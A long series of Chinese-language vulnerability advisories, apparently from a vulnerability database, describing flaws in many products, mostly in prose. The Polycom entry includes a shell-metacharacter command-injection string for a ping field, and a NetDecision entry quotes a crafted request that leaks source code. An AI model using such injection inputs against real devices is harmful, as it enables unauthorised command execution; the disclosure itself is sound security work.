Macro ToolWorks是一款Windows平台宏的编写与管理工具。Macro ToolWorks _prog.exe存在缓冲区溢出，攻击者可以利用漏洞使应用程序崩溃。
Hold'em Manager是扑克分析工具，可以增加赢率并为玩家的升级提供优势。Hold'em Manager存在3个相关内存破坏的漏洞，允许攻击者以应用程序上下文执行任意代码或使应用程序崩溃。
Google Chrome是一款开源的WEB浏览器。Google Chrome存在未明安全漏洞，允许攻击者构建恶意WEB页，诱使用户访问，以应用程序上下文执行任意代码。这些问题的利用已经在CanSecWest会议上的Pwn2Own和Pwnium挑战上进行了演示。
CudaTel Communication Server是一款用于企业级的电话系统，包括VoIP，网络会议等。Barracuda CudaTel Communication Server存在漏洞。由于Barracuda CudaTel Communication Server未能正确处理用户提交的数据，远程攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
RazorCMS是适用于中小型网站项目，且无需数据库。RazorCMS STABLE存在文件上传漏洞。由于未对上传文件扩展进行合理地检查，攻击者可利用此漏洞上传shell文件，进行攻击。
2X Client是一个便携式远程服务器/台式机访问客户端，允许您连接的所有服务器使用一个客户端。2X Client TuxClientSystem ActiveX控件(TuxClientSystem.dll)提供的"InstallClient()"方法存在安全漏洞，允许无需用户同意安装应用程序。向该方法提供MSI包URL作为参数可安装任意应用程序。
OSClass是一个基于PHP MySQL开发，用于创建和管理分类广告网站的开源系统。OSClass存在任意文件上传泄露。其中包含的combine.php脚本在传递"type" get参数给fwrite/fread调用之前缺少充分过滤，攻击者可以利用漏洞获得敏感信息。
OSClass是一个基于PHP MySQL开发，用于创建和管理分类广告网站的开源系统。OSClass存在目录遍历漏洞。其中包含的combine.php脚本在传递"type" get参数给fwrite/fread调用之前缺少充分过滤，攻击者可以利用漏洞以WEB权限执行任意PHP文件。
NetMechanica NetDecision是一款网络管理工具。NetMechanica NetDecision当处理WEB请求时NOCVision和Traffic Grapher服务器存在输入验证错误，可被利用向TCP 8090和TCP 8087端口通过目录遍历攻击获得任意文件。
Mercury MR804是一款路由器设备。处理HTTP头存在错误，可被利用向设备发送特制HTTP头使设备停止响应，造成拒绝服务攻击。
Linux是一款开放源代码的操作系统。memcg未注册事件附到相同eventfd时存在空指针引用错误：（1）第一次调用mem_cgroup_usage_unregister_event()删除连接到给定eventfd的所有事件，如果没有任何剩余事件，thresholds->primary会变为NULL。（2）由于注册了多个事件，cgroups core会再次调用mem_cgroup_usage_unregister_event()，但由于函数没有检查threshold->primary是否为NULL，可导致内核触发OOPs。
IBM DB2是一款大型的商业关系数据库系统。IBM DB2存在多个安全漏洞，允许恶意用户操作某些数据，提升特权，进行拒绝服务攻击或绕过安全限制。(1)，nodes.reg文件为全局可写权限，可导致公用代码架构中出现安全问题。(2)，Server组件存在未明错误，可被利用导致拒绝服务攻击。(3)，Install组件存在错误，允许本地用户提升特权。(4)，DAS组件存在未明错误，允许验证用户提升特权。(5)，XML功能存在未明错误，可被利用导致拒绝服务攻击。要成功利用此漏洞需要CONNECT特权。(6)，某些授权检查存在未明错误，可被利用获得对某些表的访问。要成功利用此漏洞需要CONNECT和CREATEIN特权。
Exponent CMS是一款开源内容管理系统。Exponent CMS存在漏洞。由于cron/send_reminders.php脚本对src参数的输入缺少充分过滤，允许未授权攻击者进行盲注，攻击者利用此漏洞可上传文件并执行任意远程命令。
Timesheet Next Gen是一个Timesheet.php项目。Timesheet Next Gen存在SQL注入漏洞，由于通过"password"参数传递到login.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
RivetTracker是修改版的PHPBTTracker。RivetTracker存在SQL注入漏洞，由于通过"hash" POST参数传递到torrent_functions.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
RivetTracker是修改版的PHPBTTracker。RivetTracker存在SQL注入漏洞，由于通过"hash"参数传递到dltorrent.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Lx-Office是一个在企业财务软件SQL Ledger的基础上专为德国市场进行定制的系统。Lx-Office ERP处理LaTex文档存在错误，攻击者构建特制的LaTeX文档，诱使用户解析，可以以应用程序上下文执行任意代码。
Refinery是一款内容管理系统。Refinery CMS存在跨站脚本漏洞，由于通过"refinery_user[email]" POST参数传递到users/password的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
MantisBT是一个基于web的流行bug跟踪系统。MantisBT存在性漏洞。由于"access_has_bug_level()"函数未能正确校验访问级别，攻击者可以利用查看私有bug。
MantisBT是一个基于web的流行bug跟踪系统。MantisBT报告器访问限制实现存在错误，可被利用删除bug和其他用户的bugnotes。
MantisBT是一个基于web的流行bug跟踪系统。MantisBT存在漏洞。由于调用SOAP API时"mci_check_login()"函数(api/soap/mc_api.php)未能正确校验密码，可被利用提供空密码来调用其他项目的SOAP方法。
OpenX是一款用PHP开发的广告管理与跟踪系统。OpenX存在SQL注入漏洞，由于通过"sessionID" cookie管理界面的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入SQL代码操纵SQL查询。
MantisBT是一个基于web的流行bug跟踪系统。MantisBT项目管理器访问限制实现存在错误，允许攻击者删除其他项目的全局类别。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Formidable Pro Open Flash Charts file pro/js/ofc-library/ofc_upload_image.php存在错误，目前没有详细细节提供。
Etano是一款开源的社区网站。Etano存在跨站脚本漏洞，由于传递到photo_view.php中"return"参数的输入(当"id"有效)在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Etano是一款开源的社区网站。Etano存在跨站脚本漏洞，由于传递到例如photo_search.php中"st"参数的输入在 includes/sco_functions.php中"create_pager2()"方法中被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Etano是一款开源的社区网站。Etano存在跨站脚本漏洞，由于传递到例如processors/join.php中"email", "email2", "f4_zip",和"agree" POST 参数被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
LastGuru ASP GuestBook中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或在底层数据库中利用该漏洞。
Lizard Cart CMS中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或在底层数据库中利用该漏洞。Lizard Cart CMS pp104版本中存在该漏洞，其它版本也可能受到影响。
ZB BLOCK中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的数据未经充分过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。ZB BLOCK 0.4.9 Final版本中存在这些漏洞，其他版本也可能受到影响。
11in1 CMS中存在多个SQL注入漏洞，这些漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据，或在底层数据库中利用这些漏洞。11in1 1.2.1版本中存在这些漏洞，其它版本也可能受到影响。
KoolUploader中存在远程任意文件上传漏洞，该漏洞源于对用户提供的输入未经充分过滤。攻击者可利用该漏洞在web服务器进程上下文中上传任意代码并执行它，这可能有助于攻击者未授权访问或者提升权限，也可能执行其他的攻击。
xArrow是轻量级但全功能的工业配置软件，用于监视和控制工控系统。xArrow存在多个安全漏洞，允许攻击者进行拒绝服务攻击。攻击者可以发送恶意报文，触发解压缩NULL指针，堆破坏，非法读访问，内存破坏等攻击，可导致应用程序崩溃。
TwinCAT是一款工控自动化产品。TwinCAT存在安全漏洞，允许恶意用户控制应用系统。当处理Scope view文件时TCatScopeView.exe工具存在一个错误，攻击者构建特制的SVW文件，诱使用户解析，可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Symfony2是一款基于MVC架构的PHP框架。Symfony2 XMLEncoder组件在解析XML时没有禁用外部实体，在Symfony2架构中XML类可用于deserialise对象或作为客户端/服务器API一部分。使用外部实体可包含文件系统中的任意文件。任意Symfony2编写的应用解析用户提供的XML受此漏洞影响。
Splash PRO是一款高清播放器。Splash PRO存在漏洞。由于Splash PRO未能正确处理'.avi'文件，攻击者可以构建恶意文件，诱使用户解析，可使应用程序崩溃。
Polycom多个产品使用的WEB管理接口存在安全漏洞，可导致命令注入攻击。Polycom设备上WEB管理接口允许用户发送ICMP ECHO请求测试网络，由于未能正确过滤用户提交的输入，向'ping'命令提交包含shell元字符的字符串(如127.0.0.1 ; ps -ef > /tmp/command_injection.txt #)，可导致以应用程序上下文执行任意命令。
Polycom多个产品使用的WEB管理接口存在安全漏洞，可导致路径遍历。Polycom设备上WEB管理接口允许用户下载两个日志文件("system log"和"error log")，可通过"a_getlog.cgi"脚本获得这些文件，由于未能正确过滤用户提交的数据，可访问Polycom操作系统上的任意文件。
Passport PC To Host是一款用于Microsoft windows平台下的终端模拟器。Passport PC To Host存在远程内存破坏漏洞。由于Passport PC To Host未能正确处理'.zws'文件，攻击者可以构建恶意文件，诱使用户解析，触发内存破坏可使应用程序崩溃。
Novell ZENworks Configuration Management是一款帮助客户降低IT拥有成本的桌面管理软件。Novell ZENworks Configuration Management处理HTTP TRACE存在一个未明错误，目前没有详细漏洞细节提供。
TagLib是KDE开源项目的C  函数库，可以用于读取各种格式的歌曲ID3信息。TagLib存在安全漏洞。当解析sampleRate时"analyzeCurrent()"函数(ape/apeproperties.cpp)存在除零错误，构建特制OGG文件，诱使应用程序解析，允许恶意用户对使用此库的应用程序进行拒绝服务攻击。
TagLib是KDE开源项目的C  函数库，可以用于读取各种格式的歌曲ID3信息。TagLib存在安全漏洞。由于解析某些数据时"parse()"函数(ogg/xiphcomment.cpp)存在错误，构建特制OGG文件，诱使应用程序解析，允许恶意用户对使用此库的应用程序进行拒绝服务攻击。
LightDM是一款登录显示管理器。LightDM存在漏洞。由于LightDM会把文件描述符(FD)泄露给子进程，本地攻击者可以利用漏洞读或写任意文件。
AjaXplorer是一款通过本地实现远程端文件管理功能的软件。AjaXplorer存在安全漏洞。由于通过plugins/gui.ajax/class.AJXP_ClientDriver.php中的"pluginPath"参数参数传递的输入在用于包含文件之前缺少过滤，可通过目录遍历序列包含任意本地文件，攻击者可以利用漏洞获得系统本地文件内容。
AjaXplorer是一款通过本地实现远程端文件管理功能的软件。AjaXplorer存在安全漏洞。由于通过plugins/gui.ajax/class.AJXP_ClientDriver.php中的"pluginName"参数传递的输入在用于包含文件之前缺少过滤，可通过目录遍历序列包含任意本地文件，攻击者可以利用漏洞获得系统本地文件内容。
BlackBerry PlayBook Tablet是一款黑莓公司推出的平板电脑。BlackBerry smartphones是黑莓公司推出的智能电话设备。BlackBerry 6, BlackBerry 7, BlackBerry 7.1和BlackBerry PlayBook tablet使用的开源webkit浏览器引擎存在安全漏洞，攻击者可以构建恶意的WEB页，诱使用户访问，可执行任意代码。针对BlackBerry电话设备，攻击者可以读写BlackBerry电话存储卡中的数据，但不能访问应用程序存储的一些用户数据，如Email，日历和联系人等。在BlackBerry PlayBook tablet上，攻击者可以以浏览器上上下文执行任意代码。
CMS Builder中存在多个HTML注入漏洞，这些漏洞源于对用户提供的数据未经充分过滤。攻击者提供的HTML或JavaScript代码可在受影响站点上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。CMS Builder 2.14版本中存在这些漏洞，其他版本也可能受到影响。
Ruby是一种功能强大的面向对象的脚本语言。  Ruby on Rails中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的输入未经充分过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。Ruby on Rails 3.2.2版本、3.1.4版本、3.0.12版本之前的版本中存在该漏洞。
Java是Sun公司推出的一种应用程序开发语言。Oracle javaws.exe在实现上存在安全漏洞漏洞，Java Web Start没有正确处理除了JNLP文件中的某些属性名之外的双引号，导致注入任意命令行参数到javaw.exe进程，远程代码执行。
Java是Sun公司推出的一种应用程序开发语言。Oracle Java在特制True Type字体的实现上存在任意代码执行漏洞，通过提交恶意网页或文件，Java在处理MaxInstructionSize大小时可造成堆缓冲区溢出，导致远程代码执行。
Java是Sun公司推出的一种应用程序开发语言。Oracle JavaFX在实现上存在安全漏洞，JavaEX Jar文件安全时无需用户互动，安装后可能会调用带有任意参数的可信类的主方法，导致远程代码执行。
MySQL是一个小型关系型数据库管理系统，开发者为瑞典MySQLAB公司，在2008年1月16号被Sun公司收购。MySQL在实现上存在远程代码执行漏洞，攻击者可利用此漏洞执行任意代码。
Redaxscript是一个免费的基于PHP和MySQL 的内容管理系统，主要用于小型企业和私人建站使用，它是一个极其轻量级，简单可定制的内容管理系统。redaxscript容易产生跨站请求伪造漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
NetDecision HTTP Server可在Windows工作站或服务器上提供标准的HTTP服务。NetDecision HTTP服务器在处理Web请求时存在边界错误，通过超长的URL可造成栈缓冲区溢出，使受影响应用崩溃。
AtHoc IWSAlerts Network是中央通知和紧急通讯系统。AtHoc IWSAlerts Network的ActiveX控件在实现上存在缓冲区溢出漏洞，可导致任意代码执行。
ContentKeeper是一款先进的Internet内容过滤器，允许组织监控和管理对Internet资源的访问。 ContentKeeper在实现上存在远程命令执行和权限提升漏洞，通过发送HTTP POST请求，可将任意数据写入到具有全局读写执行权限的默认文件中。
Parallels Plesk是服务器虚拟化自动化解决方案。Parallels Plesk存在一个安全漏洞，允许匿名攻击者无需验证远程入侵Plesk服务器，允许未授权访问和修改服务器。
FlashFXP是一款流行的FTP客户端程序。FlashFXP 4.1.8.1701 ListIndex异常处理存在一个安全问题，可导致一个缓冲区溢出。漏洞是由于TListBox控件使用固定长度的缓冲区，并且缺少相应的范围检查。代码假设TListBox控件返回的字符串小于4097字符，它使用4096字节的固定大小缓冲区，任何超过此缓冲区大小的文本可溢出和覆写之后的内存。TComboBox同样也受类似漏洞的影响。
Endian Firewall是一款开源UTM设备。Endian UTM存在安全漏洞。由于通过"PROXY_PORT", "VISIBLE_HOSTNAME"和"ADMIN_MAIL_ADDRESS"参数传递给cgi-bin/proxyconfig.cgi的输入在返回用户之前缺少过滤，攻击者可以利用漏洞可获得敏感信息或劫持用户会话。
Endian Firewall是一款开源UTM设备。Endian UTM存在安全漏洞。由于通过"PROXY_PORT", "VISIBLE_HOSTNAME"和"ADMIN_MAIL_ADDRESS"参数传递给cgi-bin/proxyconfig.cgi的输入在返回用户之前缺少过滤，允许恶意用户进行跨站脚本攻击。
phxEventManager中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。phxEventManager 2.0 beta 5版本中存在该漏洞，其它版本也可能受到影响。
Tiny HTTP Server是一款小巧的HTTP服务器。Tiny HTTP Server存在远程崩溃漏洞，攻击者可通过向服务器发送含超长负载的GET请求以利用此漏洞可使服务器崩溃。
CMS Builder是一款内容管理系统。CMS Builder存在脚本注入漏洞，由于通过"title"和"summary"参数传递到admin.php (当"_defaultAction"设置为"save") 的输入在被使用前未能正确过滤，攻击者利用漏洞当恶意数据被查看时，在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
cPassMan是一款基于web的个人账号密码管理工具。cPassMan中存在本地文件包含漏洞，由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在Web服务器进程上下文中获取潜在的敏感信息并执行任意本地脚本。这将允许攻击者操控应用程序和计算机，也可能执行其他的攻击。
IBM WebSphere Application Server (WAS)是由IBM遵照开放标准，例如Java EE, XML 还有Web Services，开发并发行的一种应用服务器。XML Web Services (JAX-WS)应用程序中启用WS-Security策略的Java API存在未明错误。目前没有详细漏洞细节提供。
phpFox是一款网络社交程序，提供社交解决方案。phpFox中存在HTML注入漏洞，由于程序未能正确过滤用户提供的输入，攻击者提供的HTML和脚本代码可在受影响浏览器的上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。
ImgPals Photo Host是一款网络相册。ImgPals Photo Host中存在输入验证漏洞，由于用户提供的输入在用于SQL查询之前未能正确过滤，攻击者可利用漏洞执行未授权操作（如禁用管理员账户），也可能执行其他的攻击。
Ubuntu是一款基于linux内核的操作系统。Ubuntu 'ubuntuone-couch'包存在信息泄露漏洞。由于ubuntuone-couch使用python-httplib2，但是0.7.0之前的python-httplib2没有对服务器证书进行校验，可导致中间人攻击获得或更改敏感数据。
LDAP Account Manager (LAM)是一个基于浏览器的LDAP帐号管理系统。LDAP Account Manager (LAM)存在多个持久型输入校验漏洞，允许攻击者在应用程序段实现恶意脚本代码，成功利用漏洞操作数据或劫持会话(user/mod/admin)。另外也受客户端跨站脚本漏洞，允许攻击者劫持目标用户/admin会话。
IBM ILOG是业务规则管理系统（BRMS）、可视化、优化和供应链解决方案。IBM ILOG JViews Gantt Applet Viewer存在跨站脚本漏洞。由于程序未能正确过滤用户提交的输入，可导致跨站脚本攻击，攻击者可以构建恶意WEB页，诱使用户解析，可获得敏感信息或劫持用户会话。
BrewBlogger是一款基于PHP的博客系统。BrewBlogger存在漏洞。由于BrewBlogger未能充分过滤用户输入，远程攻击者可以利用漏洞向服务程序上传任意文件，并以WEB权限运行。
Anchor CMS中存在HTML注入漏洞，该漏洞源于对用户提供的数据未经充分过滤。攻击者提供的HTML或JavaScript代码能够在受影响站点上下文中运行，可能允许攻击者窃取基于cookie的认证证书，控制网站传达给用户的方式，也可能执行其他的攻击。Anchor CMS 0.6-0.4版本中存在该漏洞，其他版本也可能受到影响。
Traidnt Topics Viewer中存在跨站请求伪造漏洞。远程攻击者可利用该漏洞执行某些管理操作，获取对受影响应用程序的未授权访问权，或者删除某些数据，也可能执行其他的攻击。Traidnt Topics Viewer 2.0 BETA 1版本中存在该漏洞，其他版本也可能受到影响。
Drupal是一款开源的内容管理平台。Drupal Submenu Tree模块存在跨站点脚本漏洞。由于程序未能正确的过滤用户提供输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
LimeSurvey是一个基于WEB的投票系统。LimeSurvey SQL注入漏洞，由于通过"id"参数传递到admin/admin.php (当"action" 设置为"browse") 的输入在admin/browse.php中被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入SQL代码操纵SQL查询。
GNOME NetworkManager是一款Linux/Ubuntu下的网络管理工具。GNOME NetworkManager会把路径名存储到证书和关键文件中去，这表示NM可以root权限访问用户文件，可允许增加连接的用户可指定任意文件名，导致可查看系统任意文件。
LimeSurvey是一个基于WEB的投票系统。LimeSurvey脚本注入漏洞，由于通过"full_name"参数传递到admin/admin.php (当"action" 设置为"moduser") 的输入在admin/userrighthandling.php中被使用前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Hitachi JP1/Cm2/Hierarchical是一种中间件平台软件。Hitachi JP1/Cm2/网络节点管理器存在安全漏洞，允许恶意用户进行拒绝服务攻击或可控制应用系统。
Chromium是开源Web浏览器项目。V8是Google的开源JavaScript引擎。Google的V8服务器端引擎在实现上存在SSJS注入漏洞，攻击者通过PHP中的服务器端JavaScript注入漏洞可导致注入任意代码。
LibreSource是一个协作平台。LibreSource存在跨站脚本漏洞。由于程序未能正确过滤用户提供输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
Sagem F@st是一款路由器产品。Sagem F@st 2604存在跨站请求伪造漏洞，由于管理界面允许用户通过未进行任何有效验证检查的HTTP请求执行某些操作，攻击者可以利用漏洞以管理员身份登录，修改管理员密码。
OSQA是一款免费且开源的问答系统。OSQA CMS存在HTML注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在受影响的站点上下文中执行HTML或JavaScript代码，窃取基于cookie的身份验证凭据并控制该网站是如何呈现给用户。
bontq是一个基于web的bug跟踪和项目管理系统。Bontq存在跨站脚本漏洞。由于程序未能正确的过滤用户提供输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
CJWSoft ASPGuest GuestBook是一款留言板系统。CJWSoft ASPGuest GuestBook存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前未能进行充分过滤，攻击者可利用该漏洞操控应用程序，访问或者修改数据。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Dtregister组件存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能正确过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
WonderDesk是基于web的帮助台软件。WonderDesk SQL存在HTML注入漏洞。由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码。
WonderDesk是基于web的帮助台软件。WonderDesk SQL存在跨站脚本漏洞。由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
NetMechanica NetDecision是一款网络管理工具。NetDecision Traffic Grapher Server不正确校验恶意HTTP请求，攻击者向服务器提交类似"GET "   "/test.nd"   " HTTP/-1111111" ""的请求，可泄露'test.nd'源代码。
NetMechanica NetDecision是一款网络管理工具。Netmechanica存在栈缓冲区溢出漏洞。由于NetDecision HTTP服务器未能正确校验超长恶意HTTP请求，允许远程攻击者发送特制请求使服务崩溃。
Debian是一款基于linux内核的操作系统。Debian存在漏洞。由于init脚本"x11-common"不安全方式创建"/tmp/.X11-unix"和"/tmp/.ICE-unix"，攻击者可以通过符号链接进行攻击，可能获得root特权。
impulsio CMS是一款内容管理系统。impulsio CMS'ID'参数容易产生SQL注入漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
bitweaver是一个高度模块化的内容管理系统。bitweaver存在本地文件包含漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Sysax Multi Server是一款windows平台下的SSH2和FTP服务器。Sysax Multi Server SFTP存在缓冲区溢出漏洞。攻击者可以利用漏洞在应用程序上下文中执行任意代码，失败的攻击尝试将导致一个拒绝服务条件。
Sysax Multi Server是一款windows平台下的SSH2和FTP服务器。Sysax Multi Server存在缓冲区溢出漏洞。由于程序未能向用户提供的数据进行充分的边界检查，攻击者可以利用漏洞在应用程序上下文中执行任意代码。失败的攻击会导致拒绝服务条件。
Dotclear是一个开放源码免费的Web发布软件,由Olivier Meunier创建于2002年。Dotclear存在远程任意文件上传漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Wolf CMS是一个内容管理系统。Wolf CMS存在HTML注入漏洞。由于程序未能充分过滤用户提供的输入数据，攻击者可以利用漏洞在受影响的站点中执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Wolf CMS是一个内容管理系统。Wolf CMS存在SQL注入漏洞。由于程序未能充分过滤用户提供的输入数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，利用底层数据库中的漏洞。
idev-BusinessDirectory是一款搜索引擎。idev-BusinessDirectory存在跨站脚本漏洞，由于通过"SEARCH" POST参数传递到index.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WebGlimpse是一款基于Web的搜索和索引软件包，由公众维护，并由University of Arizona管理。webglimpse存在跨站点脚本漏洞。由于程序未能充分消毒用户提供的数据，攻击者可以利用漏洞向受影响的服务器上执行任意脚本，窃取基于Cookie的身份验证凭据。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android存在一个安全漏洞，允许攻击者控制某些Android设备。攻击者可以发送来自可信源(如用户手机运营商)的Email或文本消息，诱使用户打开消息中的链接，完全控制电话设备，可监听电话呼叫和监视设备位置。目前没有详细漏洞细节提供。
MyJobList是一款内容管理系统。MyJobList存在SQL注入漏洞，由于通过"eid"参数传递到index.php (当"loc"设置为"profile") 的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
CMS4J是一款网站内容管理系统软件（CMS）。CMS4J存在文件包含漏洞，攻击者可以通过猜测路径方式获得网站服务器主机操作系统文件，包含账户和口令文件。暴力破解后台管理系统密码。
WordPress Video Embed和Thumbnail Generator是一款WordPress视频嵌入和缩略图生成插件。WordPress插件存在安全漏洞。由于传递给wp-content/plugins/video-embed-thumbnail-generator/kg_callffmpeg.php脚本中多个函数的输入在用于"exec()"调用之前缺少过滤，可被利用注入和执行任意SHELL命令。
Socusoft Photo to Video Converter允许把图片转换为动态MPEG动画。Socusoft Photo to Video Converter 'pdmlog.dll'存在一个缓冲区溢出漏洞，攻击者可以构建恶意文件，诱使用户处理，以应用程序上下文执行任意代码。
python-httplib2是一款用Python编写的HTTP客户端库。python-httplib2存在安全漏洞。当使用HTTPS连接时httplib2 Python库没有执行任何服务器证书校验，如果攻击者可以进行中间人攻击，可利用此缺陷更改或获取使用httplib2库的应用程序中的敏感信息。
Piwigo是一个基于MySQL5与PHP5开发的相册系统。Piwigo 'index.php'不正确处理用户提交的请求，攻击者可以利用漏洞上传恶意文件，并以应用程序上下文执行。
PHP Gift Registry是一套Web应用系统，为其成员提供接收到的礼物的跟踪。  PHP Gift Registry中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用此漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。PHP Gift Registry 1.5.5版本中存在该漏洞，其它版本也可能受到影响。
Dropbear SSH Server是一款小型的Secure Shell服务器，适合嵌入式环境。  Dropbear SSH Server中存在远程代码执行漏洞，该漏洞源于释放后使用错误。攻击者可利用该漏洞以root级别权限执行任意代码，这可能导致攻击者完全操控受影响的系统。
webgrind是Xdebug的分析工具，使用在PHP5的web前端。webgrind存在本地文件参数漏洞，当传递的文件参数到index.php并没有进行验证就可使用，这样攻击者可以利用这个问题遍历本地资源目录中的文件进行有目的的攻击。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
CMS是Content Management System的缩写，意为"内容管理系统"，它具有许多基于模板的优秀设计，可以加快网站开发的速度和减少开发的成本。CreateVision CMS存在数据库注入漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
freelancerKit是一个包装PHP项目管理脚本。freelancerKit存在SQL注入漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
Invision Power Board是一款基于PHP的论坛程序。Invision Power Board存在HTML注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制如何显示网站。
OneForum是一款基于PHP的论坛程序。OneForum存在SQL注入漏洞，由于通过"id"参数传递到topic.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla Machine组件存在SQL注入漏洞。由于程序在SQL查询使用前未能正确过滤用户提供的数据。攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的漏洞。
LimeSurvey是一个基于WEB的投票系统。LimeSurvey存在SQL注入漏洞。由于通过"fieldnames"参数传递到index.php参数的输入在SQL查询使用前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
phpDenora是一款基于PHP的IRC统计数据工具。phpDenora存在漏洞。由于通过"theme"和"lang"参数传递给libs/phpdenora/graphs/pie.php, libs/phpdenora/graphs/bar.php和libs/phpdenora/graphs/line.php脚本的输入在用于包含文件之前缺少校验，通过目录遍历和URL编码NULL字节可获得本地文件信息。
phpDenora是一款基于PHP的IRC统计数据工具。phpDenora存在漏洞。由于通过"param"参数传递给remote.php的输入在用于SQL查询之前缺少过滤，攻击者可以利用漏洞发起SQL注入攻击。
phpDenora是一款基于PHP的IRC统计数据工具。phpDenora存在漏洞。由于通过"sy", "sm", "sd", "ey", "em"和"ed"参数传递给libs/phpdenora/graphs/line.php的输入在用于SQL查询之前缺少过滤，攻击者可以利用漏洞发起SQL注入攻击。
PHP Live!是一个基于Web浏览器的在线客服系统。PHP Live!存在多个安全漏洞，目前没有详细漏洞细节提供。
Perl DBI是Perl语言的数据库连接API。perl-DBD-Pg允许Perl程序连接PostgreSQL database servers。Perl的perl-DBD-Pg模块在将数据库通知转到相应的警告消息以及准备特定DBD语句的实现上存在多个格式字符串漏洞，攻击者可利用这些漏洞造成拒绝访问，执行任意代码。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 TC BE User Admin 1.0.4及之前版本中存在未明跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
